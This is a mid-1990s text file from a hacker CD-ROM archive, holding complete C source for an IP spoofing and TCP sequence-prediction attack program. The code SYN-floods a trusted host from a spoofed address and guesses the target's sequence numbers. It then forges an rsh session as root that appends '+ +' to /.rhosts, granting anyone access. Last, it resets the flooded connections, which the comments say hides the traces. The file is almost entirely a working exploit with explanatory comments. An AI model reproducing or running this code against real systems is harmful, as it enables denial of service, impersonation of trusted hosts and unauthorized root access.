home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Secrets 4 / Hacker's Secrets 4.iso / misc / ipsncode.txt < prev    next >
Text File  |  1996-06-23  |  19KB  |  482 lines

  1.  
  2.  
  3. **************************************************************************
  4.    HACK: An IP spoofing and sequence number exploiting program
  5.  System: TCP/IP
  6.  Source: Mike Neuman, mcn@EnGarde.com
  7. **************************************************************************
  8.  
  9. /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
  10.  * for any non-commercial purpose, and this message and the contact
  11.  * information must remain intact. For commercial purposes, you MUST contact
  12.  * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
  13.  * available from: ftp://aeneas.mit.edu/pub/gnu/
  14.  *
  15.  *     This program is distributed in the hope that it will be useful,
  16.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  17.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  18.  *  GNU General Public License for more details.
  19.  *
  20.  * Mike Neuman
  21.  * En Garde Systems
  22.  * 525 Clara Avenue, Suite 202
  23.  * St. Louis, MO  63112
  24.  * mcn@EnGarde.com
  25.  */
  26.  
  27. #include <stdio.h>
  28. #include <setjmp.h>
  29. #include <signal.h>
  30. #include <sys/types.h>
  31. #include <sys/socket.h>
  32. #include <netinet/in_systm.h>
  33. #include <netinet/in.h>
  34. #include <net/if.h>
  35. #include <netinet/if_ether.h>
  36. #include <netinet/ip.h>
  37. #include <netinet/tcp.h>
  38. #include <errno.h>
  39. #include <netdb.h>
  40.  
  41. #include "ipbpf.h" /* Include ipbpf header */
  42.  
  43. #define BADHOST "16.17.18.19"
  44.   /* The host to spoof flooding the trusted
  45.    * host's destination port from. This host shouldn't exist, but should have
  46.    * correct routing entries. The important part is so that returned packets
  47.    * go to nowhere.
  48.    */
  49.  
  50. #define NUMSEQUENCE 80
  51.   /* The number of connections to spoof from BADHOST. I made this big.
  52.   * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
  53.   * mileage may vary
  54.   */
  55.  
  56. #define NUMTESTS 10
  57.   /* How many samples of the sequence numbers do you want to take?
  58.    * I randomly picked 10 and only take the last result. If I wanted to be
  59.    * elegant, I'd do some sort of statistical average. Sequence numbers
  60.    * are generally updated by a fixed number, this attempts to compute
  61.    * this number taking into account average network lag. Fixed sequence
  62.    * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
  63.    * probably others, although I haven't tested them.
  64.    */
  65.  
  66. #define ROUTER "router.EnGarde.com"
  67.   /* The name of your router to the outside world. Spoofed packets need to
  68.    * be sent to it's ether/fddi address in order to get to the outside world.
  69.    */
  70.  
  71. main(argc, argv)
  72. int argc;
  73. char *argv[];
  74.  
  75. {
  76. struct hostent *he;
  77. u_long trust_addr, targ_addr;
  78. u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
  79. u_long next_seq, offset;
  80.  
  81.         if (argc!=3) {
  82.                 fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
  83.                 exit(1);
  84.         }
  85.         if ((he=gethostbyname(argv[1]))==NULL) {
  86.                 trust_addr=inet_addr(argv[1]);
  87.                 if (trust_addr==(u_long)-1) {
  88.                         fprintf(stderr, "Unknown host %s\n", argv[1]);
  89.                         exit(1);
  90.                 }
  91.         } else
  92.                 bcopy(he->h_addr, &trust_addr, 4);
  93.  
  94.         if ((he=gethostbyname(argv[2]))==NULL) {
  95.                 targ_addr=inet_addr(argv[2]);
  96.                 if (targ_addr==(u_long)-1) {
  97.                         fprintf(stderr, "Unknown host %s\n", argv[2]);
  98.                         exit(1);
  99.                 }
  100.         } else
  101.                 bcopy(he->h_addr, &targ_addr, 4);
  102.  
  103.         printf("Initializing Packet Filter\n");
  104.         use_best(); /* Use the best packet filter available on this system */
  105.         if (init_filter("tcp", NULL)) {
  106.                 /* Initialize the packet filter and read only TCP packets */
  107.                 fprintf(stderr, "Can't init Packet Filter\n");
  108.                 exit(1);
  109.         }
  110.  
  111.         /* First, send NUMSEQUENCE connection requests from BADHOST to the
  112.          * trusted host on a trusted port (currently 513). Trusted host will
  113.          * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
  114.          * be a response ACK. Consequently, trusted host's connection queue wil
  115. l
  116.          * fill and it will no longer respond to any packets to port 513.
  117.          */
  118.  
  119.         printf("[Hosing Trusted Host...]\n");
  120.         if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
  121.                 fprintf(stderr, "Couldn't hose %s\n", argv[1]);
  122.                 exit(1);
  123.         }
  124.  
  125.         /* Next, do a sampling of the difference in sequence numbers. These pac
  126. kets
  127.          * are NOT spoofed as receiving the reply is required. Consequently, th
  128. is
  129.          * host can appear in any packet traces.
  130.          */
  131.         printf("[Determining sequence numbers...]\n");
  132.         if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
  133.                 fprintf(stderr, "Couldn't determine sequence numbers for %s\n",
  134.  argv[2]);
  135.                 exit(1);
  136.         }
  137.  
  138.         printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offs
  139. et);
  140.  
  141.         /* Next, do the actual spoofed connection, now that we know what the ne
  142. xt
  143.          * sequence number will be.
  144.          */
  145.         printf("[Spoofing Connection...]\n");
  146.         if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
  147.                 fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
  148.                 exit(1);
  149.         }
  150.  
  151.         /* Finally, reset all of the half started connections on trusted-host.
  152.          * This will put trusted-host back into it's normal state (and hide
  153.          * the traces that it was used for evil.
  154.          */
  155.         printf("[Cleaning Up Trusted Mess...]\n");
  156.         if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
  157.                 fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]
  158. );
  159.                 exit(1);
  160.         }
  161.  
  162.         /* fin */
  163.         exit(0);
  164. }
  165.  
  166. hose_trusted(trust_host, trust_addr, seq_num, port_num)
  167. char *trust_host;
  168. u_long trust_addr;
  169. u_long seq_num[NUMSEQUENCE];
  170. u_short port_num[NUMSEQUENCE];
  171. {
  172.         int i;
  173.         u_long start_seq=49358353+getpid(); /* Make this anything you want */
  174.         u_long start_port=600; /* Make this anything you want */
  175.         struct ether_header eh;
  176.         u_long bad_addr;
  177.  
  178.         /* First attempt to find the hardware address of the trusted host */
  179.         if (ether_hostton(trust_host, &eh.ether_dhost)) {
  180.                 /* If that fails, find the hardware address of the router */
  181.                 if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  182.                         fprintf(stderr, "Can't determine ether addr of trusted
  183. host or router.\n");
  184.                         return(1);
  185.                 }
  186.         }
  187.         eh.ether_type=ETHERTYPE_IP;
  188.  
  189.         if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
  190.                 fprintf(stderr, "Can't convert BADHOST address.\n");
  191.                 return(1);
  192.         }
  193.  
  194.         /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simpl
  195. e
  196.          * are:
  197.          * sendtcppacket_simple(
  198.          *     struct ether_addr source_hardware_address,
  199.          *     struct ether_addr destination_hardware_address,
  200.          *     u_long            source_ip_address,
  201.          *     u_long            destination_ip_address,
  202.          *     u_short           source_port,
  203.          *     u_short           destination_port,
  204.          *     u_long            sequence_number,
  205.          *     u_long            acknowldegement_number,
  206.          *     int               TCP flags (SYN, RST, ACK, PUSH, FIN),
  207.          *     char *            data,
  208.          *     int               datalen)
  209.          */
  210.         for (i=0;i<NUMSEQUENCE;i++) {
  211.                 port_num[i]=start_port++; /* record the ports and sequence numb
  212. ers */
  213.                 seq_num[i]=start_seq++;   /* for later reseting */
  214.  
  215.                 sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  216.                         bad_addr, trust_addr,
  217.                         port_num[i], 513, /* 513 is rlogin/rsh port */
  218.                         seq_num, 0,
  219.                         TH_SYN, NULL, 0);
  220.         }
  221.         return(0);
  222. }
  223.  
  224. jmp_buf env;
  225.  
  226. void timedout()
  227. {
  228.         longjmp(env, 1);
  229. }
  230.  
  231. determine_sequence(targ_host, targ_addr, next_seq, offset)
  232. char *targ_host;
  233. u_long targ_addr, *next_seq, *offset;
  234. {
  235.         struct hostent *he;
  236.         struct ether_header eh, eh2;
  237.         struct ip iph;
  238.         struct tcphdr tcph;
  239.         int i;
  240.         u_long start_seq=4138353+getpid(); /* Make this anything you want */
  241.         u_long start_port=600;           /* Make this anything you want */
  242.         u_long my_addr;
  243.         char buf[80];
  244.         u_long prev_seq=0, diff=0;
  245.  
  246.         *offset=0;
  247.         /* first attempt to get the destination's hardware address */
  248.         if (ether_hostton(targ_host, &eh.ether_dhost)) {
  249.                 /* If that fails, get the router's hardware address */
  250.                 if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  251.                         fprintf(stderr, "Can't determine ether addr of trusted
  252. host or router.\n");
  253.                         return(1);
  254.                 }
  255.         }
  256.         eh.ether_type=ETHERTYPE_IP;
  257.  
  258.         gethostname(buf, 79);
  259.         if ((he=gethostbyname(buf))==NULL) {
  260.                 fprintf(stderr, "Can't get my hostname!?\n");
  261.                 return(1);
  262.         }
  263.         bcopy(he->h_addr, &my_addr, 4);
  264.         for (i=0;i<NUMTESTS;i++) {
  265.                 /* Do a setjmp here for timeouts */
  266.                 if (setjmp(env))
  267.                         fprintf(stderr, "Response Timed out... Resending...\n")
  268. ;
  269.                 signal(SIGALRM, timedout);
  270.                 alarm(0);
  271.                 alarm(10); /* Wait 10 seconds for reply */
  272.                 sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  273.                         my_addr, targ_addr,
  274.                         start_port, 514, /* 514 is rsh port */
  275.                         start_seq, 0,
  276.                         TH_SYN, NULL, 0);
  277.                 /* Send connection request packet */
  278.  
  279.                 for (;;) {
  280.                         /* Wait until the reply is received. Arguments for read
  281. packet
  282.                          * are:
  283.                          * readpacket(
  284.                          *  struct fddi_header  fddi_header,
  285.                          *  struct ether_header ether_header,
  286.                          *  struct ip           ip_header,
  287.                          *  struct udphdr       udp_header,
  288.                          *  struct tcphdr       tcp_header,
  289.                          *  char *              data,
  290.                          *  int                 datalen)
  291.                          *
  292.                          * return type is the type of packet read
  293.                          */
  294.  
  295.                         while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL,
  296. NULL)!=
  297.                                 PTYPE_IP_TCP) ;
  298.                         if (ntohs(tcph.th_dport)==start_port &&
  299.                                 ntohs(tcph.th_sport)==514) {
  300.                                 /* If the ports match, it's probably a reply--t
  301. his isn't
  302.                                  * definite, but it's a pretty good guess .
  303.                                  * The following attempts to generate a reliabl
  304. e sequence.
  305.                                  * Actually, it's pretty dumb. It tries 10 time
  306. s, then takes
  307.                                  * the last result. Generally, I've found this
  308. to work well
  309.                                  * enough to warrant not writing anything smart
  310. er.
  311.                                  */
  312.                                         if (prev_seq) {
  313.                                                 diff=tcph.th_seq-prev_seq;
  314.                                                 printf("(prev=%u, new=%u, diff=
  315. %u\n", prev_seq,
  316.                                                         tcph.th_seq, diff);
  317.                                         } else
  318.                                                 diff=0;
  319.                                         if (*offset==0)
  320.                                                 *offset=diff;
  321.                                         else {
  322.                                                 if (*offset!=diff)
  323.                                                         printf("Difference in O
  324. ffset: old=%u, new=%u\n",
  325.                                                                 *offset, diff);
  326.                                                 *offset=diff;
  327.                                         }
  328.                                         prev_seq=tcph.th_seq;
  329.                                         sendtcppacket_simple(
  330.                                                         &(eh.ether_shost), &(eh
  331. .ether_dhost),
  332.                                                         my_addr, targ_addr,
  333.                                                         start_port++, 514,
  334.                                                         start_seq++, 0,
  335.                                                         TH_RST, NULL, 0);
  336.                                         /* Send a reset to close the connection
  337. . Note, this
  338.                                          * automatically will be sent by localh
  339. ost unless
  340.                                          * a service is listening on whatever p
  341. ort you've
  342.                                          * chosen to start with at the top of t
  343. his routine.
  344.                                          * so I reset it anyway
  345.                                          */
  346.                                         break; /* out of infinite for */
  347.                                 }
  348.                 } /* of infinite for */
  349.                 alarm(0);
  350.         } /* for i=0 i<numtests... */
  351.         *next_seq=prev_seq+*offset;
  352.         return(0);
  353. }
  354.  
  355. spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
  356. u_long trust_addr, targ_addr, next_seq;
  357. {
  358.         struct ether_header eh;
  359.         char buf[80];
  360.         struct hostent *he;
  361.         u_long my_addr;
  362.         u_short port=513;
  363.         char *string="0\0root\0root\0echo + + >>/.rhosts\0";
  364.         int stringlen=32;
  365.         u_long seq=385773357;
  366.         int i;
  367.  
  368.         /* As before, get the target's hardware address */
  369.         if (ether_hostton(targ_host, &eh.ether_dhost)) {
  370.                 /* If that fails, get the router's hardware address */
  371.                 if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  372.                         fprintf(stderr, "Can't determine etheraddr of target ho
  373. st or router.\n");
  374.                         return(1);
  375.                 }
  376.         }
  377.         eh.ether_type=ETHERTYPE_IP;
  378.  
  379.         /* Send a syn with our own sequence number */
  380.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  381.                 trust_addr, targ_addr,
  382.                 port, 514,
  383.                 seq++, 0,
  384.                 TH_SYN, NULL, 0);
  385.         usleep(5000); /* wait for the other side to SYN,ACK */
  386.  
  387.         /* Send the ACK for the sequence number we guessed. I've found we guess
  388.          * right about 90% of the time
  389.          */
  390.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  391.                 trust_addr, targ_addr,
  392.                 port, 514,
  393.                 seq, ++next_seq,
  394.                 TH_ACK, NULL, 0);
  395.  
  396.         /* Now, send our rsh request with the proper sequence and ACK nubmers *
  397. /
  398.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  399.                 trust_addr, targ_addr,
  400.                 port, 514,
  401.                 seq, next_seq,
  402.                 TH_ACK, string, stringlen);
  403.         seq+=stringlen;
  404.  
  405.         sleep(1); /* Wait for it to be received, ACKd, and processed */
  406.         /* Send a fin with the our new sequence number and their sequence numbe
  407. r */
  408.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  409.                 trust_addr, targ_addr,
  410.                 port, 514,
  411.                 seq, next_seq,
  412.                 TH_FIN, NULL, 0);
  413.  
  414.         for (i=1;i<4;i++) { /* Send a bunch of ACKs */
  415.                 /* If we screwed up the guessing the correct sequence number th
  416. e remote
  417.                  * host is using, guess a whole bunch more just to be sure. We
  418. could
  419.                  * probably reset the connection, but it's better to have the
  420.                  * net software hang waiting for a proper FIN/ACK than have the
  421.                  * application that we've spoofed into running exit because we
  422.                  * reset the connection.
  423.                  */
  424.                 sleep(2);
  425.                 sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  426.                         trust_addr, targ_addr,
  427.                         port, 514,
  428.                         seq+1, next_seq+i,
  429.                         TH_ACK, NULL, 0);
  430.         }
  431.         usleep(50000); /* Finally, send a RST */
  432.         /* Now, if we're really screwed, and ~8 seconds later  we haven't guess
  433. ed
  434.          * the right sequence number, just reset the connection. Hopefully by n
  435. ow
  436.          * the application has done it's job, so resetting shouldn't cause any
  437.          * problems.
  438.          */
  439.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  440.                 trust_addr, targ_addr,
  441.                 port, 514,
  442.                 seq+1, next_seq+4,
  443.                 TH_RST, NULL, 0);
  444.  
  445.         return(0);
  446. }
  447.  
  448. reset_trusted(trust_host, trust_addr, seq_num, port_num)
  449. u_long trust_addr;
  450. u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
  451. {
  452.         struct ether_header eh;
  453.         u_long bad_addr;
  454.         int i;
  455.  
  456.         if (ether_hostton(trust_host, &eh.ether_dhost)) {
  457.                 if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  458.                         fprintf(stderr, "Can't determine ether addr of trusted
  459. host or router.\n");
  460.                         return(1);
  461.                 }
  462.         }
  463.         eh.ether_type=ETHERTYPE_IP;
  464.  
  465.         if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
  466.                 fprintf(stderr, "Can't convert BADHOST address.\n");
  467.                 return(1);
  468.         }
  469.  
  470.         /* Reset all of the connections we started before */
  471.         for (i=0;i<NUMSEQUENCE;i++) {
  472.                 sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  473.                         bad_addr, trust_addr,
  474.                         port_num[i], 513,
  475.                         seq_num[i], 0,
  476.                         TH_RST, NULL, 0);
  477.         }
  478.         return(0);
  479. }
  480.  
  481.  
  482.